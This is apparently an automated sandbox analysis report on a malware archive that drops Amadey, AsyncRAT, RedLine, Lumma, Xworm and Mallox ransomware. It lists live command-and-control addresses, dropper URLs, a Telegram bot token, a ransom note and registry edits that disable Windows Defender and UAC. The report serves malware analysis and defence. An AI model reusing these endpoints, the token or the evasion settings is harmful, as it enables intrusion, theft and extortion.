amadey | 69811fd3a031d56a72428c7f3f74573b551c2dc9b5fb827fe6740a03eae55f31

Resubmissions

01/06/2024, 17:26

240601-v1b7saad53 10

01/06/2024, 17:08

01/06/2024, 16:56

01/06/2024, 16:43

01/06/2024, 15:54

Analysis

max time kernel
226s
max time network
404s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 15:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Trojan;MSIL.FormBook.AFO!MTB.zip
Size

196KB
MD5

7b62401dd82be69f3f95f7883fc7e0d9
SHA1

6adab9ef01fec2977a9c6cb3f6ff60b01fed124f
SHA256

69811fd3a031d56a72428c7f3f74573b551c2dc9b5fb827fe6740a03eae55f31
SHA512

faf526a594d2dec297072f66cb5db65b32f2313ffa5f2e25f66a85e40f51b1effcf1f40e02b2e62382275414c6acd3212b30d78855c3ce70f4bd54949840df15
SSDEEP

6144:jHgkWXiqhrYVZCmZLZ5r8n2ys/xdbFqm2WJ:yX1hUbLZJ88PbMm2M

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://94.103.188.126/jerry/putty.zip

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://49.13.194.118/ADServices.exe

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

Fresh

pepecasas123.net:4608

Mutex

AsyncMutex_5952

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Path

F:\$RECYCLE.BIN\S-1-5-21-2539840389-1261165778-1087677076-1000\HOW TO BACK FILES.txt

Ransom Note

Hello Your data has been stolen and encrypted We will delete the stolen data and help with the recovery of encrypted files after payment has been made Do not try to change or restore files yourself, this will break them We provide free decryption for any 3 files up to 3MB in size on our website How to contact with us: 1) Download and install TOR browser by this link: https://www.torproject.org/download/ 2) If TOR blocked in your country and you can't access to the link then use any VPN software 3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin 4) Copy your private ID in the input field. Your Private key: 970E1985E545FA9233002F1E 5) You will see chat, payment information and we can make free test decryption here Our blog of leaked companies: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion �

URLs

http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin

http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion

Extracted

Family

amadey

Version

4.21

Botnet

49e482

http://147.45.47.70

Attributes

install_dir
1b29d73536
install_file
axplont.exe
strings_key
4d31dd1a190d9879c21fac6d87dc0043
url_paths
/tr8nomy/index.php

rc4.plain

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

185.172.128.33:8970

Extracted

Family

redline

Botnet

185.215.113.67:40960

Extracted

Family

risepro

147.45.47.126:58709

Extracted

Family

xworm

127.0.0.1:7000

beshomandotestbesnd.run.place:7000

Attributes

Install_directory
%ProgramData%
install_file
cmd.exe
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

lumma

https://fragmentyperspowp.shop/api

https://horsedwollfedrwos.shop/api

https://patternapplauderw.shop/api

https://understanndtytonyguw.shop/api

https://considerrycurrentyws.shop/api

https://messtimetabledkolvk.shop/api

https://detailbaconroollyws.shop/api

https://deprivedrinkyfaiir.shop/api

https://relaxtionflouwerwi.shop/api

https://roomabolishsnifftwk.shop/api

https://museumtespaceorsp.shop/api

https://buttockdecarderwiso.shop/api

https://averageaattractiionsl.shop/api

https://femininiespywageg.shop/api

https://employhabragaomlsp.shop/api

https://stalfbaclcalorieeis.shop/api

https://civilianurinedtsraov.shop/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/9156-37341-0x0000000000400000-0x0000000000418000-memory.dmp	family_xworm

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	RegAsm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	RegAsm.exe

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	e9S91KcST5WAe1cLxGRnN3WO.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

resource	yara_rule
behavioral1/memory/6292-20469-0x0000000004F70000-0x0000000004FDE000-memory.dmp	family_redline
behavioral1/memory/6292-20427-0x0000000004E40000-0x0000000004EB0000-memory.dmp	family_redline
behavioral1/files/0x000800000002350f-30869.dat	family_redline
behavioral1/memory/8592-31116-0x0000000000A80000-0x0000000000AD2000-memory.dmp	family_redline
behavioral1/files/0x0009000000024407-32821.dat	family_redline
behavioral1/memory/6460-32949-0x0000000000D80000-0x0000000000DD2000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
TargetCompany,Mallox
TargetCompany (aka Mallox) is a ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
ransomware targetcompany

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	New.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WeQEAW3kaoXuMbb80vOzIlmY.exe

Windows security bypass 2 TTPs 4 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	New.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Desktop\a\New.exe = "0"	New.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\WeQEAW3kaoXuMbb80vOzIlmY.exe = "0"	WeQEAW3kaoXuMbb80vOzIlmY.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	e9S91KcST5WAe1cLxGRnN3WO.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	lenin.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
6140	bcdedit.exe
6224	bcdedit.exe

Renames multiple (3581) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Blocklisted process makes network request 64 IoCs

flow	pid	Process
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe
153	5504	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5504	powershell.exe
4696	powershell.exe
1508	powershell.exe
4504	powershell.EXE
5776	powershell.exe
7260	powershell.exe
1736	powershell.exe
4476	powershell.exe
3092	powershell.exe
3092	powershell.exe
8856	powershell.exe
8832	powershell.exe
3092	powershell.exe
7924	powershell.exe
5928	powershell.exe
5168	powershell.exe
6748	powershell.exe
4216	powershell.exe
4852	powershell.exe

Downloads MZ/PE file

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/6292-20469-0x0000000004F70000-0x0000000004FDE000-memory.dmp	net_reactor
behavioral1/memory/6292-20427-0x0000000004E40000-0x0000000004EB0000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 7 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	lenin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	lenin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WeQEAW3kaoXuMbb80vOzIlmY.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	mixinte.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	New.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	winlogon.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	ADServices.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	GTA_V.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	ld.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	U3mkXHCrBXb11u2lOpF29ovV.exe

Drops startup file 10 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Egt2KEDlnEDPcHbFceEZsAgS.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{18CZ3KYJ-176867-G8JF3R-G8JF3REQ8S}.exe	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{18CZ3KYJ-176867-G8JF3R-G8JF3REQ8S}.exe	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster2663.lnk	RegAsm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bAyFUgihOmry7UanLMPlSg0f.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UnWnb8fpIRuRuUDL2hrh8crR.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2663.lnk	RegAsm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qBZ6zP2KgZdQaOhCd7LCnPnD.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jRT49afIpKbuIh72Jl4Dld3H.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\J6M0PD9v12iBlUQzTRVA27yZ.bat	regsvcs.exe

Executes dropped EXE 49 IoCs

pid	Process
4564	volumeinfo.exe
632	Zinker.exe
6132	smartsoftsignew.exe
5816	ADServices.exe
5424	New.exe
5908	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
1320	svchost.exe
3240	putty.exe
640	volumeinfo.exe
4012	GTA_V.exe
5596	CapSimple.exe
5168	GTA_V.tmp
2832	RambledMimets.exe
5180	ld.exe
3584	7z.exe
4348	MSiedge.exe
6540	7z.exe
2556	7z.exe
5060	victor.exe
5528	RambledMime.exe
7420	current.exe
7356	host_so.exe
6984	mixinte.exe
6608	inte.exe
6148	winlogon.exe
6936	Nccj2wTDtt7ya4Fn9vLo.exe
5424	setup.exe
8072	file300un.exe
8340	auehhQxGFTG53UPDyJn4.exe
2496	Install.exe
6732	Install.exe
3156	buildjudit.exe
5036	lumma1234.exe
7156	stub.exe
6908	go.exe
7060	random.exe
5676	33333.exe
8476	WeQEAW3kaoXuMbb80vOzIlmY.exe
4636	n5iRSINSSBZXYf0VMxnR1Gr6.exe
6720	U3mkXHCrBXb11u2lOpF29ovV.exe
9156	lenin.exe
9048	RTyv5hQ34rQUelr1Ahzlcifr.exe
6468	e9S91KcST5WAe1cLxGRnN3WO.exe
8592	svhoost.exe
8220	One.exe
5648	axplont.exe
6364	Install.exe
7036	alex.exe
5980	well.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Wine	lenin.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Wine	axplont.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Wine	random.exe

Loads dropped DLL 64 IoCs

pid	Process
6132	smartsoftsignew.exe
6132	smartsoftsignew.exe
5908	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
5168	GTA_V.tmp
5168	GTA_V.tmp
3584	7z.exe
6540	7z.exe
2556	7z.exe
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5168	GTA_V.tmp
5960	RegAsm.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe
7156	stub.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	e9S91KcST5WAe1cLxGRnN3WO.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	New.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	New.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Desktop\a\New.exe = "0"	New.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\WeQEAW3kaoXuMbb80vOzIlmY.exe = "0"	WeQEAW3kaoXuMbb80vOzIlmY.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RageMP2663 = "C:\\Users\\Admin\\AppData\\Local\\RageMP2663\\RageMP2663.exe"	RegAsm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{18CZ3KYJ-176867-G8JF3R-G8JF3REQ8S} = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.exe\" ..."	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MaxLoonaFest2663 = "C:\\Users\\Admin\\AppData\\Local\\MaxLoonaFest2663\\MaxLoonaFest2663.exe"	RegAsm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV2663_0cc175b9c0f1b6a831c399e269772661 = "C:\\Users\\Admin\\AppData\\Local\\AdobeUpdaterV2663_0cc175b9c0f1b6a831c399e269772661\\AdobeUpdaterV2663.exe"	RegAsm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RageMP131 = "C:\\Users\\Admin\\AppData\\Local\\RageMP131\\RageMP131.exe"	lenin.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WeQEAW3kaoXuMbb80vOzIlmY.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	New.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	New.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WeQEAW3kaoXuMbb80vOzIlmY.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	ld.exe
File opened (read-only)	\??\E:	ld.exe
File opened (read-only)	\??\R:	ld.exe
File opened (read-only)	\??\D:	ld.exe
File opened (read-only)	\??\B:	ld.exe
File opened (read-only)	\??\I:	ld.exe
File opened (read-only)	\??\X:	ld.exe
File opened (read-only)	\??\N:	ld.exe
File opened (read-only)	\??\P:	ld.exe
File opened (read-only)	\??\S:	ld.exe
File opened (read-only)	\??\G:	ld.exe
File opened (read-only)	\??\L:	ld.exe
File opened (read-only)	\??\A:	ld.exe
File opened (read-only)	\??\K:	ld.exe
File opened (read-only)	\??\T:	ld.exe
File opened (read-only)	\??\H:	ld.exe
File opened (read-only)	\??\Z:	ld.exe
File opened (read-only)	\??\Q:	ld.exe
File opened (read-only)	\??\V:	ld.exe
File opened (read-only)	\??\W:	ld.exe
File opened (read-only)	\??\Y:	ld.exe
File opened (read-only)	\??\E:	chrome.exe
File opened (read-only)	\??\J:	ld.exe
File opened (read-only)	\??\M:	ld.exe
File opened (read-only)	\??\O:	ld.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 17 IoCs

Web Service

T1102

flow	ioc
176	iplogger.com
270	raw.githubusercontent.com
300	pastebin.com
304	pastebin.com
415	raw.githubusercontent.com
264	raw.githubusercontent.com
265	raw.githubusercontent.com
266	raw.githubusercontent.com
426	raw.githubusercontent.com
120	raw.githubusercontent.com
121	raw.githubusercontent.com
275	raw.githubusercontent.com
390	raw.githubusercontent.com
396	raw.githubusercontent.com
172	iplogger.com
268	raw.githubusercontent.com
273	raw.githubusercontent.com

Looks up external IP address via web service 13 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
361	api.myip.com
372	ipinfo.io
643	ipinfo.io
209	api.ipify.org
258	ipinfo.io
360	api.myip.com
362	ipinfo.io
371	ipinfo.io
237	ipinfo.io
239	ipinfo.io
642	ipinfo.io
234	ipinfo.io
364	ipinfo.io

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00080000000234f8-25694.dat	autoit_exe
behavioral1/files/0x0008000000023562-31501.dat	autoit_exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy	RegAsm.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	RegAsm.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	RegAsm.exe
File opened for modification	C:\Windows\System32\GroupPolicy	RegAsm.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	RegAsm.exe
File opened for modification	C:\Windows\System32\GroupPolicy	e9S91KcST5WAe1cLxGRnN3WO.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	RegAsm.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	RegAsm.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	RegAsm.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	e9S91KcST5WAe1cLxGRnN3WO.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	e9S91KcST5WAe1cLxGRnN3WO.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	e9S91KcST5WAe1cLxGRnN3WO.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
7060	random.exe
9156	lenin.exe
5648	axplont.exe

Suspicious use of SetThreadContext 16 IoCs

description	pid	Process	procid_target
PID 632 set thread context of 1076	632	Zinker.exe	130
PID 5424 set thread context of 1792	5424	New.exe	145
PID 4564 set thread context of 640	4564	volumeinfo.exe	166
PID 2832 set thread context of 5960	2832	RambledMimets.exe	182
PID 5596 set thread context of 6152	5596	CapSimple.exe	185
PID 5528 set thread context of 6060	5528	RambledMime.exe	209
PID 6060 set thread context of 6292	6060	RegAsm.exe	212
PID 6936 set thread context of 5284	6936	Nccj2wTDtt7ya4Fn9vLo.exe	225
PID 8340 set thread context of 8628	8340	auehhQxGFTG53UPDyJn4.exe	232
PID 5284 set thread context of 8924	5284	RegAsm.exe	233
PID 8072 set thread context of 6236	8072	file300un.exe	244
PID 5036 set thread context of 6780	5036	lumma1234.exe	248
PID 8628 set thread context of 7316	8628	RegAsm.exe	247
PID 5676 set thread context of 5016	5676	33333.exe	256
PID 7036 set thread context of 7384	7036	alex.exe	287
